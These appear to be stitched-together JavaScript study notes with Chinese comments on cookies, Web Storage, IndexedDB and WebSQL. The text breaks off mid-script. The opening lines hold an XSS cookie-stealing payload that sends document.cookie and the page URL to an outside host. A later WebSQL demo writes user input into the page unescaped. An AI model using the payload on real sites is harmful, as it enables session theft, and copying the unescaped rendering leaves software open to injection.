// HTTPOnly 为true 时,document.cookie不可浏览 防止xss 攻击
xss exp:
url=document.top.location.href;
cookie=document.cookie;
c=new Image();
c.src=’http://www.loveshell.net/c.php?c=’+cookie+’&u=’+url;
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<script>
// cookie 谷歌浏览 本地服务(新规) chrome://flags/ same-site
function set(c_name, value, expiredays) {
var exdate = new Date();
exdate.setDate(exdate.getDate() + expiredays); //setDate设置天
// escape 特殊符号编码 unescape
document.cookie = c_name + "=" + escape(value) + ";expires = " + exdate.toGMTString() + ";path = /;";
}
set('name', 'zs!', 7)
function setCookie(name, value) {
var Days = 30;
var exp = new Date();
exp.setTime(exp.getTime() + Days * 24 * 60 * 60 * 1000);
// expires 时间戳 或者年月日时间
document.cookie = name + "=" + escape(value) + ";expires=" + exp.toGMTString();
}
setCookie('name1', 'lis')
function getCookie(name) {
var arr, reg = new RegExp("(^| )" + name + "=([^;]*)(;|$)");
if (arr = document.cookie.match(reg))
return unescape(arr[2]);
else
return null;
}
console.log(getCookie('name'), getCookie('name1'))
// 删除 设置过期时间就行
//写入a字段
localStorage["a"] = 1;
//写入b字段
localStorage.b = 2;
//写入c字段
localStorage.setItem("c", 3);
//第一种方法读取
console.log(localStorage["a"]);
//第二种方法读取
console.log(localStorage.b);
//第三种方法读取
console.log(localStorage.getItem("c"));
delete localStorage.b //删除对象
localStorage.removeItem("a");
console.log(localStorage,'localStorage------------')
// localStorage.clear(); //清空
// 保存数据到sessionStorage
sessionStorage.setItem('key', 'value');
sessionStorage.setItem('key1', 'value1');
console.log(sessionStorage,'sessionStorage---------')
// 从sessionStorage获取数据
var data = sessionStorage.getItem('key');
// 从sessionStorage删除保存的数据
sessionStorage.removeItem('key');
// 从sessionStorage删除所有保存的数据
// sessionStorage.clear();
</script>
</body>
</html>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>Page Title</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
<script>
//localStorage 不手动删除永久保存 5M 可以跨域
// localStorage存储方法(sessionStorage类似)
// localStorage.name =’vanida;
// localStorage[“name”]=’vanida’;
// localStorage.setItem(“name”, ”vanida”);
// //这三种设置值方式是一样的;
// localStorage获取值方法
// var name = localStorage[“name”]
// var name = localStorage.name
// var name= localStorage.getItem(“name”);
// //这三种获取值方式是一样的;
// localStorage清除特定值方法
// //清除name的值
// localStorage.removeItem(“name”);
// localStorage.name=”;
// localStorage清除所有值方法
// localStorage.clear()
// 1.localStorage - 没有时间限制的数据存储
var arr = [1, 2, 3];
localStorage.setItem("temp", arr); //存入 参数: 1.调用的值 2.所要存入的数据
console.log(localStorage.getItem("temp"));//输出
// 2.清空localStorage
// localStorage.clear(); //
// 3.删除键值对
localStorage.removeItem("temp");
// 注意:存入的数据只能以字符串形式存入。
// 三.提供转JOSN数据方法:
// //JSON对象转JSON字符串
var obj = { "a": 1, "b": 2 };
obj = JSON.stringify(obj); //转化为JSON字符串
localStorage.setItem("temp2", obj);
// //JSON字符串转JSON对象
obj = JSON.parse(localStorage.getItem("temp2"));
console.log(obj)
</script>
</body>
</html>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>Page Title</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
<script>
//sessionstorage 保存当前回话 不能跨域 同源策略限制。若想在不同页面之间对同一个sessionStorage进行操作,这些页面必须在同一协议、同一主机名和同一端口下。
//(IE 8和9存储数据仅基于同一主机名,忽略协议(HTTP和HTTPS)和端口号的要求)
// 1、接口
// sessionStorage.getItem(key)----获取指定key的本地存储的值
// sessionStorage.setItem(key, value)----将value存储到key字段中
// sessionStorage.removeItem(key)----删除指定ke的本地存储的值
// sessionStorage.length----sessionStorage的项目数
/*
sessionStorage和localStorage都支持key()和length
*/
// var storage = window.localStorage,
// i,
// len = storage.length;
// console.log(storage)
// for (i = 0; i < len; i++) {
// var key = storage.key(i); //字符串 获取key值
// var value = storage.getItem(key);
// console.log(key + '=' + value);
// }
/*
清空本地存储的数据
*/
//localStorage.clear(); //----删除所有同源的本地存储的localStorage数据
//sessionStorage.clear();// ----只清空当前会话存储的数据
//sessionStorage localstorage的json数据合并 以sessionStoreage为例
sessionStorage.setItem("name", 'zs')
sessionStorage.setItem("age", '18')
sessionStorage.setItem("sex", '女')
console.log(sessionStorage)
var obj = {};
var obj1 = Object.assign(obj, sessionStorage)
console.log(obj)
console.log(obj1)
</script>
</body>
</html>
<html>
<head>
<script type="text/javascript">
function getCookie(c_name) {
if (document.cookie.length > 0) {
c_start = document.cookie.indexOf(c_name + "=")
if (c_start != -1) {
c_start = c_start + c_name.length + 1
c_end = document.cookie.indexOf(";", c_start)
if (c_end == -1) c_end = document.cookie.length
return unescape(document.cookie.substring(c_start, c_end))
}
}
return ""
}
function setCookie(c_name, value, expiredays) {
var exdate = new Date()
exdate.setDate(exdate.getDate() + expiredays)
document.cookie = c_name + "=" + escape(value) +
((expiredays == null) ? "" : ";expires=" + exdate.toGMTString())
}
function checkCookie() {
username = getCookie('username')
if (username != null && username != "") { alert('Welcome again ' + username + '!') }
else {
username = prompt('Please enter your name:', "")
if (username != null && username != "") {
setCookie('username', username, 365)
}
}
}
</script>
</head>
<body onLoad="checkCookie()">
</body>
</html>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>Page Title</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
<script>
// Cookie基础用法 http://www.cnblogs.com/Darren_code/archive/2011/11/24/Cookie.html
// 一.简单的存取操作 //COOKies 字符串类型 要进行截窜处理 40k左右 没有设置过期时间 是会话当前
// 在使用JavaScript存取 cookie 时,必须要使用Document对象的 cookie 属性;一行代码介绍如何创建和修改一个 cookie :
// document.cookie = 'username=Darren'
// 以上代码中'username'表示 cookie 名称,'Darren'表示这个名称对应的值。假设 cookie 名称并不存在,那么就是创建一个新的 cookie;如果存在就是修改了这个 cookie 名称对应的值。如果要多次创建 cookie ,重复使用这个方法即可。
// 二.cookie的读取操作
// 要精确的对 cookie 进行读取其实很简单,就是对字符串进行操作。从w3school上copy这段代码来做分析:
// 复制代码
// function getCookie(c_name) {
// if (document.cookie.length > 0) { //先查询cookie是否为空,为空就return ""
// c_start = document.cookie.indexOf(c_name + "=") //通过String对象的indexOf()来检查这个cookie是否存在,不存在就为 -1
// if (c_start != -1) {
// c_start = c_start + c_name.length + 1 //最后这个+1其实就是表示"="号啦,这样就获取到了cookie值的开始位置
// c_end = document.cookie.indexOf(";", c_start) //其实我刚看见indexOf()第二个参数的时候猛然有点晕,后来想起来表示指定的开始索引的位置...这句是为了得到值的结束位置。因为需要考虑是否是最后一项,所以通过";"号是否存在来判断
// if (c_end == -1) c_end = document.cookie.length
// return unescape(document.cookie.substring(c_start, c_end)) //通过substring()得到了值。想了解unescape()得先知道escape()是做什么的,都是很重要的基础,想了解的可以搜索下,在文章结尾处也会进行讲解cookie编码细节
// }
// }
// return ""
// }
// 复制代码
// 当然想实现读取cookie的方法还有不少,比如数组,正则等,这里就不往细说了。
// 三.设置cookie的有效期
// 文章中常常出现的 cookie 的生命周期也就是有效期和失效期,即 cookie 的存在时间。在默认的情况下,cookie 会在浏览器关闭的时候自动清除,但是我们可以通过expires来设置 cookie 的有效期。语法如下:
// document.cookie = "name=value;expires=date"
// 上面代码中的date值为GMT(格林威治时间)格式的日期型字符串,生成方式如下:
// var _date = new Date();
// _date.setDate(_date.getDate() + 30);
// _date.toGMTString();
// 上面三行代码分解为几步来看:
// 通过new生成一个Date的实例,得到当前的时间;
// getDate()方法得到当前本地月份中的某一天,接着加上30就是我希望这个cookie能过在本地保存30天;
// 接着通过setDate()方法来设置时间;
// 最后 用toGMTString()方法把Date对象转换为字符串,并返回结果
// 通过下面这个完整的函数来说明在创建 cookie 的过程中我们需要注意的地方 - 从w3school复制下来的。创建一个在 cookie 中存储信息的函数:
// 复制代码
// 1 function setCookie(c_name, value, expiredays) {
// 2 var exdate = new Date();
// 3 exdate.setDate(exdate.getDate() + expiredays);
// 4 document.cookie = c_name + "=" + escape(value) + ((expiredays == null) ? "" : ";expires=" + exdate.toGMTString());
// 5
// }
// 6 使用方法:setCookie('username', 'Darren', 30)
// 复制代码
// 现在我们这个函数是按照天数来设置cookie的有效时间,如果想以其他单位(如:小时)来设置,那么改变第三行代码即可:
// exdate.setHours(exdate.getHours() + expiredays);
// 这样设置以后的cookie有效期就是按照小时为单位的。
// 常见问题中有提到清除 cookie 的两种方法,现在要说的是使 cookie 失效,通过把有效期的时间设置为一个已过期的时间。既然已经有了设置有效期的方法,那么设置失效期的方法就请感兴趣的朋友自己动手了 ^ _ ^。下面继续比较深的cookie话题。
// Cookie 高级篇
// 一.cookie 路径概念
// 在基础知识中有提到 cookie 有域和路径的概念,现在来介绍路径在 cookie 中的作用。
// cookie 一般都是由于用户访问页面而被创建的,可是并不是只有在创建 cookie 的页面才可以访问这个 cookie。
// 默认情况下,只有与创建 cookie 的页面在同一个目录或子目录下的网页才可以访问,这个是因为安全方面的考虑,造成不是所有页面都可以随意访问其他页面创建的 cookie。举个例子:
// 在 "http://www.cnblogs.com/Darren_code/" 这个页面创建一个cookie,那么在"/Darren_code/"这个路径下的页面如: "http://www.cnblogs.com/Darren_code/archive/2011/11/07/Cookie.html"这个页面默认就能取到cookie信息。
// 可在默认情况下, "http://www.cnblogs.com"或者 "http://www.cnblogs.com/xxxx/" 就不可以访问这个 cookie(光看没用,实践出真理 ^ _ ^)。
// 那么如何让这个 cookie 能被其他目录或者父级的目录访问类,通过设置 cookie 的路径就可以实现。例子如下:
// document.cookie = "name=value;path=path"
// document.cookie = "name=value;expires=date;path=path"
// 红色字体path就是 cookie 的路径,最常用的例子就是让 cookie 在跟目录下, 这样不管是哪个子页面创建的 cookie,所有的页面都可以访问到了:
// document.cookie = "name=Darren;path=/"
// 二.cookie 域概念
// 路径能解决在同一个域下访问 cookie 的问题,咱们接着说 cookie 实现同域之间访问的问题。语法如下:
// document.cookie = "name=value;path=path;domain=domain"
// 红色的domain就是设置的 cookie 域的值。
// 例如 "www.qq.com" 与 "sports.qq.com" 公用一个关联的域名"qq.com",我们如果想让 "sports.qq.com" 下的cookie被 "www.qq.com" 访问,我们就需要用到 cookie 的domain属性,并且需要把path属性设置为 "/"。例:
// document.cookie = "username=Darren;path=/;domain=qq.com"
// 注:一定的是同域之间的访问,不能把domain的值设置成非主域的域名。
// 三.cookie 安全性
// 通常 cookie 信息都是使用HTTP连接传递数据,这种传递方式很容易被查看,所以 cookie 存储的信息容易被窃取。假如 cookie 中所传递的内容比较重要,那么就要求使用加密的数据传输。
// 所以 cookie 的这个属性的名称是“secure”,默认的值为空。如果一个 cookie 的属性为secure,那么它与服务器之间就通过HTTPS或者其它安全协议传递数据。语法如下:
// document.cookie = "username=Darren;secure"
// 把cookie设置为secure,只保证 cookie 与服务器之间的数据传输过程加密,而保存在本地的 cookie文件并不加密。如果想让本地cookie也加密,得自己加密数据。
// 注:就算设置了secure 属性也并不代表他人不能看到你机器本地保存的 cookie 信息,所以说到底,别把重要信息放cookie就对了,囧...
// 四.cookie 编码细节
// 原本来想在常见问题那段介绍cookie编码的知识,因为如果对这个不了解的话编码问题确实是一个坑,所以还是详细说说。
// 在输入cookie信息时不能包含空格,分号,逗号等特殊符号,而在一般情况下,cookie 信息的存储都是采用未编码的方式。所以,在设置 cookie 信息以前要先使用escape()函数将 cookie 值信息进行编码,在获取到 cookie 值得时候再使用unescape()函数把值进行转换回来。如设置cookie时:
// document.cookie = name + "=" + escape(value)
// 再看看基础用法时提到过的getCookie()内的一句:
// return unescape(document.cookie.substring(c_start, c_end))
// 这样就不用担心因为在cookie值中出现了特殊符号而导致 cookie 信息出错了。
// cookies 的基本语法
var millisecond = new Date().getTime();
var expiresTime = new Date(millisecond + 60 * 1000 * 15)
document.cookie = 'name=zs;expires =' + expiresTime
var date = new Date();
date.setDate(date.getDate() + 1);
document.cookie = "sex=男; expires=" + date + ";path=http://www1.pclady.com.cn/zt/20160623/testCookie.html";
console.log(decodeURI('%E6%9C%AC%E5%9C%B0%E5%AD%98%E5%82%A8'))
document.cookie = "name1=value;expires=" + date + ";path=/" //斜杠路径下可以访问
document.cookie = "username=Darren;path=/;domain=.com"//有本网站打开的 域名
//复杂的cookies 操作
function SetCookie(name, value) {
var key = '';
var Days = 2;
var exp = new Date();
var domain = "";
exp.setTime(exp.getTime() + Days * 24 * 60 * 60 * 1000);
if (key == null || key == "") {
document.cookie = name + "=" + encodeURI(value) + ";expires=" + exp.toGMTString() + ";path=/;domain=" + domain + ";";
}
else {
var nameValue = GetCookie(name);
if (nameValue == "") {
document.cookie = name + "=" + key + "=" + encodeURI(value) + ";expires=" + exp.toGMTString() + ";path=/;domain=" + domain + ";";
}
else {
var keyValue = GetCookie(name, key);
if (keyValue != "") {
nameValue = nameValue.replace(key + "=" + keyValue, key + "=" + encodeURI(value));
document.cookie = name + "=" + nameValue + ";expires=" + exp.toGMTString() + ";path=/;domain=" + domain + ";";
}
else {
document.cookie = name + "=" + nameValue + "&" + key + "=" + encodeURI(value) + ";expires=" + exp.toGMTString() + ";path=/;" + domain + ";";
}
}
}
}
function GetCookie(name) {
var nameValue = "";
var key = "";
var arr, reg = new RegExp("(^| )" + name + "=([^;]*)(;|$)");
if (arr = document.cookie.match(reg)) {
nameValue = decodeURI(arr[2]);
}
if (key != null && key != "") {
reg = new RegExp("(^| |&)" + key + "=([^(;|&|=)]*)(&|$)");
if (arr = nameValue.match(reg)) {
return decodeURI(arr[2]);
}
else return "";
}
else {
return nameValue;
}
}
//简单cookies操作
function setCookie(c_name, value, expiredays) {
var exdate = new Date()
exdate.setDate(exdate.getDate() + expiredays)
document.cookie = c_name + "=" + escape(value) +
((expiredays == null) ? "" : ";expires=" + exdate.toGMTString())
}
//cookies 自己封装
function setCookie(key, value, day) {
if (day == undefined) {
document.cookie = key + "=" + value;
} else {
var date = new Date();
date.setDate(date.getDate() + day);
document.cookie = key + "=" + value + "; expires=" + date;
}
}
setCookie("color", "green", 3);
setCookie("name", "lisi", 3);
setCookie("age", "18", 3);
function getCookie(key) {
var cookieString = document.cookie;
var arrM = cookieString.split("; ");
for (var i = 0; i < arrM.length; i++) {
var arr = arrM[i].split("=");
//["name","zhangsan"]
//["age",18]
if (key === arr[0]) {
return arr[1];
}
}
//console.log(arrM);
}
//console.log(getCookie("age"));
function delCookie(key) {
//删除数据-->
setCookie(key, "", -1);
}
//delCookie("age");
function clearCookie() {
var arrKey = getKeys();
for (var i = 0; i < arrKey.length; i++) {
delCookie(arrKey[i]);
}
}
//clearCookie();
function getKeys() {
var cookieString = document.cookie;
var arrM = cookieString.split("; ");
var arrKey = [];
for (var i = 0; i < arrM.length; i++) {
var arr = arrM[i].split("=");
if (arr[0]) arrKey.push(arr[0])
}
return arrKey;
}
</script>
</body>
</html>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>Page Title</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
<script>
const dbName = "test";
const dbVersion = 1;
export default {
// indexedDB兼容
indexedDB:
window.indexedDB ||
window.webkitindexedDB ||
window.msIndexedDB ||
window.mozIndexedDB,
//name:表名 key:主键 ,cursorIndex 索引
store: {
teacher: {
name: "teacher",
key: "id",
cursorIndex: [{ name: "teachNum", unique: false }]
},
student: {
name: "student",
key: "id",
cursorIndex: [{ name: "stuNum", unique: false }]
}
},
async initDB() {
let that = this;
let request = this.indexedDB.open(dbName, dbVersion);
request.onerror = function () {
console.log("打开数据库失败");
};
request.onsuccess = function () {
console.log("打开数据库成功");
};
request.onupgradeneeded = function (event) {
let db = event.target.result;
for (var t in that.store) {
if (!db.objectStoreNames.contains(that.store[t].name)) {
var objectStore = db.createObjectStore(that.store[t].name, {
keyPath: that.store[t].key,
autoIncrement: true
});
for (let i = 0; i < that.store[t].cursorIndex.length; i++) {
const element = that.store[t].cursorIndex[i];
objectStore.createIndex(element.name, element.name, {
unique: element.unique
});
}
}
}
};
},
// 打开数据库
openDB: function () {
return new Promise((resolve, reject) => {
let request = this.indexedDB.open(dbName, dbVersion);
request.onerror = function (event) {
reject("IndexedDB数据库打开错误," + event);
};
request.onsuccess = function (event) {
resolve(event.target.result);
};
});
},
// 删除表
deleteDB: function (table) {
let deleteQuest = this.indexedDB.deleteDatabase(table);
deleteQuest.onerror = function () {
return Promise.resolve(false);
};
deleteQuest.onsuccess = function () {
return Promise.resolve(true);
};
},
// 关闭数据库
closeDB: async function (db) {
try {
let d;
if (!db) {
d = await this.openDB();
}
let closeQuest = d.closeDB();
return new Promise(resolve => {
closeQuest.onerror = function () {
resolve(false);
};
closeQuest.onsuccess = function () {
resolve(true);
};
});
} catch (error) {
return Promise.resolve(false);
}
},
// 添加数据,add添加新值
insert: async function (table, data) {
try {
let db = await this.openDB();
let request = db
.transaction(table.name, "readwrite")
.objectStore(table.name)
.add(data);
return new Promise((resolve, reject) => {
request.onerror = function () {
reject("添加数据出错");
};
request.onsuccess = function () {
resolve(true);
};
});
} catch (error) {
console.log(error);
return Promise.resolve(false);
}
},
// 更新
update: async function (table, data) {
try {
let db = await this.openDB();
let request = db
.transaction(table.name, "readwrite")
.objectStore(table.name)
.put(data);
return new Promise(resolve => {
request.onerror = function () {
resolve(false);
};
request.onsuccess = function () {
resolve(true);
};
});
} catch (error) {
return Promise.resolve(false);
}
},
// 删除数据
delete: async function (table, keyValue) {
try {
let db = await this.openDB();
let request = db
.transaction(table.name, "readwrite")
.objectStore(table.name)
.delete(keyValue);
return new Promise(resolve => {
request.onerror = function () {
resolve(false);
};
request.onsuccess = function () {
resolve(true);
};
});
} catch (error) {
return Promise.resolve(false);
}
},
// 清空数据
clear: async function (table) {
let db = await this.openDB();
let store = db.transaction(table.name, "readwrite").objectStore(table.name);
store.clear();
},
// 查询数据 表名 索引值 索引 key 没有value key为key 而不是索引
get: async function (table, keyValue, indexCursor) {
try {
let db = await this.openDB();
let store = db
.transaction(table.name, "readonly")
.objectStore(table.name);
let request;
request = !keyValue
? store.openCursor()
: indexCursor
? store.index(indexCursor).get(keyValue)
: store.get(keyValue);
let data = [];
return new Promise(resolve => {
request.onerror = function () {
resolve("查询数据失败");
};
request.onsuccess = function (event) {
if (!keyValue && !indexCursor) {
if (event.target.result) {
data.push(event.target.result.value);
event.target.result.continue();
} else {
resolve(data);
}
} else {
resolve([event.target.result]);
}
};
});
} catch (error) {
return Promise.reject(error);
}
},
// 通过游标操作数据, callback中要有游标移动方式
handleDataByCursor: async function (table, keyRange) {
try {
let kRange = keyRange || "";
let db = await this.openDB();
let store = db.transaction(table, "readwrite").objectStore(table),
request;
request = store.openCursor(kRange);
return new Promise(resolve => {
request.onerror = function () {
resolve("通过游标获取数据报错");
};
request.onsuccess = function (event) {
let cursor = event.target.result;
resolve(cursor);
};
});
} catch (error) {
return Promise.reject(error);
}
},
// 通过索引游标操作数据, callback中要有游标移动方式
handleDataByIndex: async function (table, keyRange, sursorIndex) {
try {
let kRange = keyRange || "";
let db = await this.openDB();
let store = db.transaction(table, "readwrite").objectStore(table),
request;
request = store.index(sursorIndex).openCursor(kRange);
return new Promise(resolve => {
request.onerror = function () {
resolve("通过索引游标获取数据报错");
};
request.onsuccess = function (event) {
let cursor = event.target.result;
if (cursor) {
resolve(cursor);
}
};
});
} catch (error) {
return Promise.reject(error);
}
},
// 创建游标索引
createCursorIndex: async function (table, cursorIndex, unique) {
var db = await this.openDB();
let store = db.transaction(table, "readwrite").objectStore(table);
store.createIndex(cursorIndex, cursorIndex, {
unique: unique
});
return Promise.resolve();
}
};
</script>
</body>
</html>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>Page Title</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
<!-- <script>
IndexedDB 是一个比较复杂的 API,涉及不少概念。它把不同的实体,抽象成一个个对象接口。学习这个 API,就是学习它的各种对象接口。
数据库:IDBDatabase 对象
对象仓库:IDBObjectStore 对象
索引: IDBIndex 对象
事务: IDBTransaction 对象
操作请求:IDBRequest 对象
指针: IDBCursor 对象
主键集合:IDBKeyRange 对象
下面是一些主要的概念。
(1)数据库
数据库是一系列相关数据的容器。每个域名(严格的说,是协议 + 域名 + 端口)都可以新建任意多个数据库。
IndexedDB 数据库有版本的概念。同一个时刻,只能有一个版本的数据库存在。如果要修改数据库结构(新增或删除表、索引或者主键),只能通过升级数据库版本完成。
(2)对象仓库
每个数据库包含若干个对象仓库(object store)。它类似于关系型数据库的表格。
(3)数据记录
对象仓库保存的是数据记录。每条记录类似于关系型数据库的行,但是只有主键和数据体两部分。主键用来建立默认的索引,必须是不同的,否则会报错。主键可以是数据记录里面的一个属性,也可以指定为一个递增的整数编号。
{ id: 1, text: 'foo' }
上面的对象中,id属性可以当作主键。
数据体可以是任意数据类型,不限于对象。
(4)索引
为了加速数据的检索,可以在对象仓库里面,为不同的属性建立索引。
(5)事务
数据记录的读写和删改,都要通过事务完成。事务对象提供error、abort和complete三个事件,用来监听操作结果。
三、操作流程
IndexedDB 数据库的各种操作,一般是按照下面的流程进行的。这个部分只给出简单的代码示例,用于快速上手,详细的各个对象的 API 请看这里。
3.1 打开数据库
使用 IndexedDB 的第一步是打开数据库,使用indexedDB.open()方法。
var request = window.indexedDB.open(databaseName, version);
这个方法接受两个参数,第一个参数是字符串,表示数据库的名字。如果指定的数据库不存在,就会新建数据库。第二个参数是整数,表示数据库的版本。如果省略,打开已有数据库时,默认为当前版本;新建数据库时,默认为1。
indexedDB.open()方法返回一个 IDBRequest 对象。这个对象通过三种事件error、success、upgradeneeded,处理打开数据库的操作结果。
(1)error 事件
error事件表示打开数据库失败。
request.onerror = function (event) {
console.log('数据库打开报错');
};
(2)success 事件
success事件表示成功打开数据库。
var db;
request.onsuccess = function (event) {
db = request.result;
console.log('数据库打开成功');
};
这时,通过request对象的result属性拿到数据库对象。
(3)upgradeneeded 事件
如果指定的版本号,大于数据库的实际版本号,就会发生数据库升级事件upgradeneeded。
var db;
request.onupgradeneeded = function (event) {
db = event.target.result;
}
这时通过事件对象的target.result属性,拿到数据库实例。
3.2 新建数据库
新建数据库与打开数据库是同一个操作。如果指定的数据库不存在,就会新建。不同之处在于,后续的操作主要在upgradeneeded事件的监听函数里面完成,因为这时版本从无到有,所以会触发这个事件。
通常,新建数据库以后,第一件事是新建对象仓库(即新建表)。
request.onupgradeneeded = function (event) {
db = event.target.result;
var objectStore = db.createObjectStore('person', { keyPath: 'id' });
}
上面代码中,数据库新建成功以后,新增一张叫做person的表格,主键是id。
更好的写法是先判断一下,这张表格是否存在,如果不存在再新建。
request.onupgradeneeded = function (event) {
db = event.target.result;
var objectStore;
if (!db.objectStoreNames.contains('person')) {
objectStore = db.createObjectStore('person', { keyPath: 'id' });
}
}
主键(key)是默认建立索引的属性。比如,数据记录是{ id: 1, name: '张三' } ,那么id属性可以作为主键。主键也可以指定为下一层对象的属性,比如{ foo: { bar: 'baz' } } 的foo.bar也可以指定为主键。
如果数据记录里面没有合适作为主键的属性,那么可以让 IndexedDB 自动生成主键。
var objectStore = db.createObjectStore(
'person',
{ autoIncrement: true }
);
上面代码中,指定主键为一个递增的整数。
新建对象仓库以后,下一步可以新建索引。
request.onupgradeneeded = function (event) {
db = event.target.result;
var objectStore = db.createObjectStore('person', { keyPath: 'id' });
objectStore.createIndex('name', 'name', { unique: false });
objectStore.createIndex('email', 'email', { unique: true });
}
上面代码中,IDBObject.createIndex()的三个参数分别为索引名称、索引所在的属性、配置对象(说明该属性是否包含重复的值)。
3.3 新增数据
新增数据指的是向对象仓库写入数据记录。这需要通过事务完成。
function add() {
var request = db.transaction(['person'], 'readwrite')
.objectStore('person')
.add({ id: 1, name: '张三', age: 24, email: '[email protected]' });
request.onsuccess = function (event) {
console.log('数据写入成功');
};
request.onerror = function (event) {
console.log('数据写入失败');
}
}
add();
上面代码中,写入数据需要新建一个事务。新建时必须指定表格名称和操作模式("只读"或"读写")。新建事务以后,通过IDBTransaction.objectStore(name)方法,拿到 IDBObjectStore 对象,再通过表格对象的add()方法,向表格写入一条记录。
写入操作是一个异步操作,通过监听连接对象的success事件和error事件,了解是否写入成功。
3.4 读取数据
读取数据也是通过事务完成。
function read() {
var transaction = db.transaction(['person']);
var objectStore = transaction.objectStore('person');
var request = objectStore.get(1);
request.onerror = function (event) {
console.log('事务失败');
};
request.onsuccess = function (event) {
if (request.result) {
console.log('Name: ' + request.result.name);
console.log('Age: ' + request.result.age);
console.log('Email: ' + request.result.email);
} else {
console.log('未获得数据记录');
}
};
}
read();
上面代码中,objectStore.get()方法用于读取数据,参数是主键的值。
3.5 遍历数据
遍历数据表格的所有记录,要使用指针对象 IDBCursor。
function readAll() {
var objectStore = db.transaction('person').objectStore('person');
objectStore.openCursor().onsuccess = function (event) {
var cursor = event.target.result;
if (cursor) {
console.log('Id: ' + cursor.key);
console.log('Name: ' + cursor.value.name);
console.log('Age: ' + cursor.value.age);
console.log('Email: ' + cursor.value.email);
cursor.continue();
} else {
console.log('没有更多数据了!');
}
};
}
readAll();
上面代码中,新建指针对象的openCursor()方法是一个异步操作,所以要监听success事件。
3.6 更新数据
更新数据要使用IDBObject.put()方法。
function update() {
var request = db.transaction(['person'], 'readwrite')
.objectStore('person')
.put({ id: 1, name: '李四', age: 35, email: '[email protected]' });
request.onsuccess = function (event) {
console.log('数据更新成功');
};
request.onerror = function (event) {
console.log('数据更新失败');
}
}
update();
上面代码中,put()方法自动更新了主键为1的记录。
3.7 删除数据
IDBObjectStore.delete()方法用于删除记录。
function remove() {
var request = db.transaction(['person'], 'readwrite')
.objectStore('person')
.delete(1);
request.onsuccess = function (event) {
console.log('数据删除成功');
};
}
remove();
3.8 使用索引
索引的意义在于,可以让你搜索任意字段,也就是说从任意字段拿到数据记录。如果不建立索引,默认只能搜索主键(即从主键取值)。
假定新建表格的时候,对name字段建立了索引。
objectStore.createIndex('name', 'name', { unique: false });
现在,就可以从name找到对应的数据记录了。
var transaction = db.transaction(['person'], 'readonly');
var store = transaction.objectStore('person');
var index = store.index('name');
var request = index.get('李四');
request.onsuccess = function (e) {
var result = e.target.result;
if (result) {
// ...
} else {
// ...
}
} -->
</script>
</body>
</html>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>Page Title</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<script src="./jquery-1.5.1.js" type="text/javascript"></script>
<script type="text/javascript">
function initDatabase() {
var db = getCurrentDb();//初始化数据库
if (!db) { alert("您的浏览器不支持HTML5本地数据库"); return; }
db.transaction(function (trans) {//启动一个事务,并设置回调函数
//执行创建表的Sql脚本
trans.executeSql("create table if not exists Demo(uName text null,title text null,words text null)", [], function (trans, result) {
}, function (trans, message) {//消息的回调函数alert(message);});
}, function (trans, result) {
}, function (trans, message) {
});
});
}
$(function () {//页面加载完成后绑定页面按钮的点击事件
initDatabase();
$("#btnSave").click(function () {
var txtName = $("#txtName").val();
var txtTitle = $("#txtTitle").val();
var txtWords = $("#txtWords").val();
var db = getCurrentDb();
//执行sql脚本,插入数据
db.transaction(function (trans) {
trans.executeSql("insert into Demo(uName,title,words) values(?,?,?) ", [txtName, txtTitle, txtWords], function (ts, data) {
}, function (ts, message) {
alert(message);
});
});
showAllTheData();
});
})
function getCurrentDb() {
//打开数据库,或者直接连接数据库参数:数据库名称,版本,概述,大小
//如果数据库不存在那么创建之
var db = openDatabase("myDb", "1.0", "it's to save demo data!", 1024 * 1024);;
return db;
}
//显示所有数据库中的数据到页面上去
function showAllTheData() {
$("#tblData").empty();
var db = getCurrentDb();
db.transaction(function (trans) {
trans.executeSql("select * from Demo ", [], function (ts, data) {
if (data) {
for (var i = 0; i < data.rows.length; i++) {
appendDataToTable(data.rows.item(i));//获取某行数据的json对象
}
}
}, function (ts, message) { alert(message); var tst = message; });
});
}
function appendDataToTable(data) {//将数据展示到表格里面
//uName,title,words
var txtName = data.uName;
var txtTitle = data.title;
var words = data.words;
var strHtml = "";
strHtml += "";
strHtml += "" + txtName + " ";
strHtml += "" + txtTitle + " ";
strHtml += "" + words + " ";
strHtml += " ";
$("#tblData").append(strHtml);
}
</script>
</head>
<body>
<table>
<tr>
<td>用户名:</td>
<td><input type="text" name="txtName" id="txtName" required/></td>
</tr>
<tr>
<td>标题:</td>
<td><input type="text" name="txtTitle" id="txtTitle" required/></td>
</tr>
<tr>
<td>留言:</td>
<td><input type="text" name="txtWords" id="txtWords" required/></td>
</tr>
</table>
<input type="button" value="保存" id="btnSave" />
<hr/>
<input type="button" value="展示所哟数据" onclick="showAllTheData();" />
<table id="tblData">
</table>
</body>
</html>
<!DOCTYPE HTML>
<html>
<head>
<meta charset="UTF-8">
<title>菜鸟教程(runoob.com)</title>
<script type="text/javascript">
var db = openDatabase('mydb', '1.0', 'Test DB', 2 * 1024 * 1024);
var msg;
db.transaction(function (tx) {
tx.executeSql('CREATE TABLE IF NOT EXISTS LOGS (id unique, log)');
tx.executeSql('INSERT INTO LOGS (id, log) VALUES (1, "菜鸟教程")');
tx.executeSql('INSERT INTO LOGS (id, log) VALUES (2, "www.runoob.com")');
msg = '数据表已创建,且插入了两条数据。
';
document.querySelector('#status').innerHTML = msg;
});
db.transaction(function (tx) {
